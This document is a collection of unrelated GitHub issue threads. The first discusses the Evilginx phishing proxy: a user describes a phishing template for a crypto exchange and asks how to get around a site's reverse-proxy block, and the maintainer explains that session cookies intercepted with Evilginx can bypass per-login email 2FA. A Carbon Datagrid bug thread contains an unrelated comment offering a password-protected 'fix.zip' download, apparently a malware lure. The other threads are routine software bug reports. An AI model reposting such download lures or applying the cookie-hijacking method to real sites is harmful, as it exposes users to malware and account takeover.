On Mon, Jun 18, 2018 at 5:31 AM, Kuba Gretzky<EMAIL_ADDRESS>wrote:

Hey Tim,
Thanks for the kind words. I'm flattered too much :)
I will most likely look into these. I'm currently trying to push Evilginx2
for release as soon as possible, so I plan to make this happen as the first
priority.
After that I will for sure use the new version to look closer into
CloudFlare sites and let you know what I'm able to find.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/kgretzky/evilginx/issues/66#issuecomment-398011715,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AmcdtmKx-XBfZDCrEpiZN3IgZtO_bwJPks5t94GDgaJpZM4UqXhd
.

Hi Kuba,
I'm so sorry to bother you while you're finishing up Evilginx 2.0, but I
think we might've found the most cost-effective way for us to avoid
penetration and MITM attacks.
We set up a test template for the crypto exchange Jostpay.com since they
don't use CloudFlare or reCaptcha (both of which seem to be rather
impenetrable). T*hey cleverly require Email 2-FA on EVERY login. So,
importing the previous session token doesn't seem to make a difference,
right? *If so, I think we may go with that method. Please when you have a
second to give it some thought, we'd love to know what you think!
Thank you again for your advice and time, Mr. Gretzky. We truly appreciate
it.
Best regards,
Tim
On Mon, Jun 18, 2018 at 12:40 PM, Timothy Retzlaff <
<EMAIL_ADDRESS>wrote:

Thank you Kuba.
That's awesome news regarding Evilginx2! When do you expect it's release?
Regarding Cloudflare, what we've noticed is that we can capture the user
session token from the CloudFlare proxy server (Set-Cookie: "__cfduid"),
but the user's credentials are not logged. Instead, the .token file in
/etc/evilginx/logs states that the username is "unknown" and the password
field is left blank.
We attempted another potential workaround, and also were curious if you
know of any vulnerabilities in this. On the website BitFlyer, there are no
CloudFlare proxies setup, but any access of their main webserver through a
reverse proxy is immediately redirected to port 444 (error). Any idea of
how a hacker could get around this? This seems like a much more simple and
cost-effective method than CloudFlare to prevent unauthorized access to our
server using a penetration attack like Evilginx. Our security budget is
limited, so we want to make the most intelligent decision that we can
afford currently.
What do you think?
Best,
Tim
P.S. My kind words are nothing compared to the wonderful knowledge you've
provided for our company, Kuba. We've been able to pre-emptively avoid so
many potential attacks from hackers all over the world due to the extensive
knowledgebase you've constructed through Evilginx. We understand so much
more now about the vulnerabilities in such systems. Thank you again from
all of us!
We'd love to be able to chat with you live and ask some follow-up
questions if you were at all willing or available in the next couple weeks?
Anonymously, of course, as I'm sure this would be your preference.
On Mon, Jun 18, 2018 at 5:31 AM, Kuba Gretzky<EMAIL_ADDRESS>wrote:

Hey Tim,
Thanks for the kind words. I'm flattered too much :)
I will most likely look into these. I'm currently trying to push
Evilginx2 for release as soon as possible, so I plan to make this happen as
the first priority.
After that I will for sure use the new version to look closer into
CloudFlare sites and let you know what I'm able to find.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/kgretzky/evilginx/issues/66#issuecomment-398011715,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AmcdtmKx-XBfZDCrEpiZN3IgZtO_bwJPks5t94GDgaJpZM4UqXhd
.

Hi Tim,
I'm very sorry to get back to you that late. Very happy to hear you learned something from what I wrote about 2FA.
I'm not sure about an answer to your question about BitFlyer as I did not test it yet myself. As for CloudFlare and reCaptcha, I'm pretty sure it has to be properly proxied with proper packet modifications and I may make it a weekend project to see for myself.
You mentioned that Jostpay requires an email 2FA on every login, but the thing is that after a successful login it must be saving the authentication cookie in the browser, so that it does not need to re-authenticate the user every time they refresh the page. If you take this cookie (intercept it with Evilginx for example) and import it into another browser, you may bypass the login screen entirely.
What you may try for your service as an extra defense is binding authentication tokens generated by your website to IP addresses. That way if at any time an attacker uses captured authentication tokens by hijacking the cookies, they will very likely login from a different IP address than the legitimate user (or the Evilginx proxy server).
Anyway, Evilginx 2 has finally been released! https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens/
Drop me an email and let me know of any web services that you know are using CloudFlare and/or reCaptcha. If there account registration is open on these websites I'd like to take a look myself eventually.


Add retries for transient issues in the network layer or with twitter.com

Should retry on transient network issues like "no route to host", and also on twitter.com issues like "Over capacity".
The retry sleep loop needs to perform an optional callback to a user function, which could return True/False on whether to keep retrying, or throw an exception. This ensures the client can perform a clean shutdown if need be, when otherwise stuck waiting forever. (For example if network services have been shut down prior to host machine reboot.)

(This was alluded to previously in issue #293.)

@johnkw do you know if anything was done here? I'm getting the same exception

No this project was (mostly?) abandoned. I had to write a layer in the app to do that.


js: Don't destroy the JS VM on shutdown

This avoids a crash in the fully static distribution build, due to static init order fiasco.
"Temporary" workaround for https://github.com/LadybirdBrowser/ladybird/issues/2412

Until this Distribution crash is fixed, no test262.fyi for us. We should test the distribution build more than "not at all" :D

I think MainThreadVM will also have the same problem, maybe another case or two in there as well


cannot delete network by ID

Description
please check the title :-D!
Steps to reproduce the issue

nerdctl network create deleteme --gateway <IP_ADDRESS> --subnet <IP_ADDRESS>/24
nerdctl network ls

root@6518fb9254d2:/home/containerd/nerdctl# _output/nerdctl network ls
NETWORK ID      NAME        FILE
17f29b073143    bridge      /etc/cni/net.d/nerdctl-bridge.conflist
f9d6cec6deab    deleteme    /etc/cni/net.d/nerdctl-deleteme.conflist
                host
                none

nerdctl network rm f9d6cec6deab

FATA[0000] no such network: f9d6cec6deab

Describe the results you received and expected
expectation:
delete network by ID.
What version of nerdctl are you using?
v1.0.0
Are you using a variant of nerdctl? (e.g., Rancher Desktop)
No response
Host information
No response

Hello @fahedouch, I would be happy to give it a shoot. Can you assign it to me, please?


QueryDSL 6.7+ Compatibility with Spring Boot

I want to start by expressing my heartfelt thanks for your dedication and hard work in maintaining QueryDSL. Your efforts are greatly appreciated by the entire community.
I have a suggestion that I hope you might consider: it would be fantastic if QueryDSL versions 6.7 and above could achieve official compatibility with Spring Boot. This improvement could be highly beneficial for many users who integrate these technologies.
Additionally, if a professional profile image were added to the project, I believe it would help other developers more easily recognize that this project continues the work of QueryDSL.
If there are any ways I can assist with this effort or contribute to making this enhancement possible, please let me know. Thank you once again for your commitment and for considering this suggestion.

I want to start by expressing my heartfelt thanks for your dedication and hard work in maintaining QueryDSL. Your efforts are greatly appreciated by the entire community.

Thanks

I have a suggestion that I hope you might consider: it would be fantastic if QueryDSL versions 6.7 and above could achieve official compatibility with Spring Boot. This improvement could be highly beneficial for many users who integrate these technologies.

Feel free to send a PR, I will review, merge and release ASAP.  But I don't need it for my job, so I won't work for on it.

Additionally, if a professional profile image were added to the project, I believe it would help other developers more easily recognize that this project continues the work of QueryDSL.

Happy to add one if anyone provides one.  As mentioned on the readme, I only do things that affect my daytime job (in other works, were someone pays me to do it)

If there are any ways I can assist with this effort or contribute to making this enhancement possible, please let me know. Thank you once again for your commitment and for considering this suggestion.

Well, anything you want to do, I'm happy to take.  Happy to take you onboard of the project if you actively working on it.

I'm closing this as I have no plans of working on this, but feel free to reopen if/when you get any of these started


Excel export displays weird sorting behaviour

Bug description
Excel export displays weird sorting behaviour.
This results into reviewers not being able to have a decent overview.
Steps to Reproduce

Go to https://backoffice.biblio.ugent.be/publication
Make an export
Sort from A-Z on fields such as projects, ISSN and ISBN
See a split sorting appear.

When you clear the fields that are "empty" the sorting is correct again.

Likelihood
1: Frequent
Consequences
1: Catastrophic
Impacts review and financial process
Expected behavior
Sorting is not split, and corresponds to A-Z or Z-A
System information
Happens on Mac and Dell, in excel

@nicolasfranck isn't it because you don't explicitly set the cell type to string? https://xuri.me/excelize/en/cell.html#SetCellStr

@nics is already set as string: https://github.com/ugent-library/biblio-backoffice/blob/main/backends/excel/base_exporter.go#L37

@nics is already set as string: https://github.com/ugent-library/biblio-backoffice/blob/main/backends/excel/base_exporter.go#L37

ah sorry, must be a bug then, because cell type is General when the doc is opened

I reported this bug: https://github.com/qax-os/excelize/issues/1915

What turns out to be the problem:

the method SetCellStr is not meant to mark text as text in a excel field, but is merely meant as a way to supply a go type as value
any formatting needs to be done number formatting (sounds weird)

@nicolasfranck @nics can we turn this, after deploy to dev so I can test, into a hot fix, as it still might take a while to deploy dev?


Difference in hyper-parameters

Hello,
thank you very much for you work and providing the code!
While comparing the fine-tuning scripts to your reported hyper-parameters in your paper I have seen some differences:

The sequence length for generation is 512 in the paper, in both amr2text scripts the parameter "src_block_size" is 1024.
Early stop is 5 in the paper, in the scripts it ranges from 10 to 15.
The learning rate in finetune_AMRbart_amr2text.sh differs from the reported 1e-5 for the base model.

I guess the parameters from the scripts are more recent?

Hi, thanks for pointing this out. For learning rate, that's a typo and we will update the paper accordingly. We provide a bigger value for sequence length and early stopping patience in scripts because they are helpful for learning longer AMR sequences (although only ~0.03% in corpus) and selecting better models. We believe these changes are beneficial for other researchers to achieve comparable or better results than our paper, especially under a different experimental environment.

Hi muyeby,
thank you very much for elaborating!


test: Unquarantine IPv6 masquerading test

Commit 166a1097c4 ("test: Fix consistent failure in IPv6 masquerading test") seems to have fixed the IPv6 masquerading test so let's unquarantine it.
Fixes: https://github.com/cilium/cilium/issues/23355.

/test-vagrant

/test

/test-runtime


Add comment button should move focus to the new comment

Issues reported by @albinazs as part of WCAG 2.2 accessibility audit.
Issue Summary
When editing pages and adding the first comment, focus doesn't move to the comment box. This works as expected when the comment panel is already opened, but not when it’s closed.
Illustration:

Steps to Reproduce

Go to any page editing form (for example https://static-wagtail-v5-2.netlify.app/admin/pages/60/edit/)
With the keyboard or mouse, active a "Add comment" button next to a field
Observe focus isn’t moving to the commenting box

Working on this
This requires investigating the comment implementation in JS/React/Redux. Anyone can contribute to this. View our contributing guidelines, add a comment to the issue once you’re ready to start.

I understood the issue, I am working on this.

Could be a duplicate of https://github.com/wagtail/wagtail/issues/11021
PR up with a fix from October last year. https://github.com/wagtail/wagtail/pull/11022
Just awaiting a review.

Thank you @lb-, yes I believe it is :) I thought we had an issue opened for this but couldn’t find it for some reason.


Make chef_node attribute an opt-in feature

To encourage good practices, and to not send data to the InSpec runner that is not needed by most users, the chef_node attribute that contains the Chef node object hash will only be sent if the "chef_node_attribute_enabled" audit attribute is set to true

While it did not make it into the code, let it be known for posterity reasons that the if statement on the following line is referred to as "The Hedgpeth if Statement":
https://github.com/chef-cookbooks/audit/commit/9955e3b20ab0a141caf312117fd7ac0431e4e30f#diff-ac3f30b2c66fd1ec1b818a9707a4066dR36
Thank you @mhedgpeth for being passionate about the community doing "the right thing." 😄


[5.9] tsan-ignores-arc-locks.swift: post process test binary on Darwin

This allows the DYLD_LIBRARY_PATH override to work as expected and avoid crashes when running.
Scope: change in a Swift validation test
Issue: rdar://110272079
Risk: Low -- other standard library tests are using the same post process test
Testing: execute the toolchain PR job to exercise this test
(cherry picked from commit 44a40979e52be8e9344b8ca6069614a29aeff6cd,
#66308)

@swift-ci please test

@swift-ci please test Apple Silicon

@swift-ci please build toolchain


LiveSyncWorker sync error and some other bugs

Bee version: bee-1.11.1.x86_64.rpm
System: Centos7.9
When I run bee(full node) a few hours later(first start or restart will be normal), it would report some bugs, I am not sure whether it is a software problem or a configuration problem.
1.Jan 22 22:19:06 swarm bee[4095]: "time"="2023-01-22 22:19:06.026799" "level"="error" "logger"="node/puller" "msg"="liveSyncWorker sync error" "error"="read offer: stream reset" "peer_address"="6a7d587ecb6277f03656dbf1eb9490b11dfd94a5f94aae171565e00414cdf724" "bin"=19 "from"=1195 "topmost"=0
2.Jan 22 22:19:31 swarm bee[4095]: "time"="2023-01-22 22:19:31.279918" "level"="warning" "logger"="node/pushsync" "msg"="forwarder, invalid stamp for chunk" "chunk_address"="684b60b84d1d1c7219f5961bda0f8f7da2bb21a629173ff9274ec14beceb6d67"
3.Jan 22 22:20:37 swarm bee[4095]: "time"="2023-01-22 22:20:37.629171" "level"="error" "logger"="node/puller" "msg"="histSyncWorker syncing interval failed" "error"="new stream: send headers: read message: context deadline exceeded" "peer_address"="6bc6ca7c5957ac1e1b435504e01360f171c7a0cd1b88537b15bdae675c254b38" "bin"=12 "cursor"=123461 "start"=31422 "topmost"=0
4.Jan 22 22:22:29 swarm bee[4095]: "time"="2023-01-22 22:22:29.625128" "level"="error" "logger"="node/puller" "msg"="recalc peers sync failed" "error"="could not get cursors from peer 6e765729b2f53adaa8c8e3c87d71a83554b457c912afb3cfb3bc63959268a851: new stream: send headers: read message: stream reset" "bin"=12 "peer"="6e765729b2f53adaa8c8e3c87d71a83554b457c912afb3cfb3bc63959268a851"
On https://api.swarmscan.io/v1/network/nodes/ethereum/{address} shows
"error":"2 errors occurred:\n\t* connect full close stream reset\n\t* connect full close stream reset\n\n"
I need someone to help me, thank you!

these puller error are normal - thanks for reporting :)
We will silence these logs in the next release.


[Design]Newsletter design

Create a very simple design based on new design system to be applied on our future newsletters

Assigned this to myself, can take a look at it later in the week.


Add more verbose error messages in embed chat

Pull Request Type

[ ] ✨ feat
[ ] 🐛 fix
[x] ♻ refactor
[ ] 💄 style
[ ] 🔨 chore
[ ] 📝 docs

Relevant Issues

resolves #2279
What is in this change?

When user reaches max quota limit, we now show a more verbose error message to the user to avoid confusion

Additional Information

Developer Validations

[x] I ran yarn lint from the root of the repo & committed changes
[x] Relevant documentation has been updated
[x] I have tested my code functionality
[x] Docker build succeeds locally

Updated to show generic "Server error" message to embed chat unless is a rate limit error. Now handled on server side instead of seeing if error contains message in embed frontend.


[Datagrid]: when there are 20 inlineEdit records in Datagrid , the vertical scroll bar will appear.

Package
Carbon for IBM Products
Description
The vertical scroll bar of Datagrid will appear with below condition.

set the browser to be Zoom=80%
there are 20 inlineEdit records in Datagrid . (someone meets this in 19 records).
But the vertical scroll won't appear for 21 or 19 records.

Component(s) impacted
https://codesandbox.io/p/devbox/crazy-resonance-ynpcyv?file=%2Fsrc%2FExample%2FExample.jsx%3A85%2C38
https://ynpcyv-5173.csb.app/
Browser
Chrome, Firefox, Microsoft Edge
@carbon/ibm-products (previously @carbon/ibm-cloud-cognitive) version
v2.47.0
Suggested Severity
None
Product/offering
bdmgt
CodeSandbox or Stackblitz example
https://codesandbox.io/p/devbox/crazy-resonance-ynpcyv?file=%2Fsrc%2FExample%2FExample.jsx%3A85%2C38
Steps to reproduce the issue (if applicable)
No response
Release date (if applicable)
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct
[X] I checked the current issues for duplicate issues

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@WilliamSu2016 Can you submit a video? I'm trying to replicate the issue and can't get it to work. Thanks!

@AlexanderMelox
This link is for 20 records: https://ynpcyv-5173.csb.app/
This link is for 19 records: https://ynpcyv-5173.csb.app/
please see below for the video.

We've been investigating TanStack Table, a third-party, open-source offering, which provides extensive data table capabilities surpassing what our Carbon Datagrid offers. It provides much more flexibility and customization. TanStack Table is headless which means it can easily be added alongside Datagrid component in your product or application. The benefits of more flexibility for product teams and less maintenance for Carbon makes it a win win. Lastly, it is available in multiple frameworks including React and Web Component so it provides an option to non-React product teams.
For these reasons, we have decided to transition from building our own custom table component to using an example-based approach with TanStack Table. Datagrid will still exist in our library for existing teams but we are announcing the deprecation* of the Datagrid component in v2.54.0 release so teams can begin to work through the transition. Details about how to use both Datagrid and TanStack together can be found here.
*Deprecation means that no new features will be added however sev 1 and sev 2 bugs will be supported.


Is it possible to get madge to help visualize folder structure in images?

I'd like to be able to draw rectangles around each folder's contents (recursively) to help visualize the folder structure of a dependency tree, so I can do a visual comparison of before/after states when I'm restructuring my code.
Is that something that's currently possible?

Sorry, that’s not supported.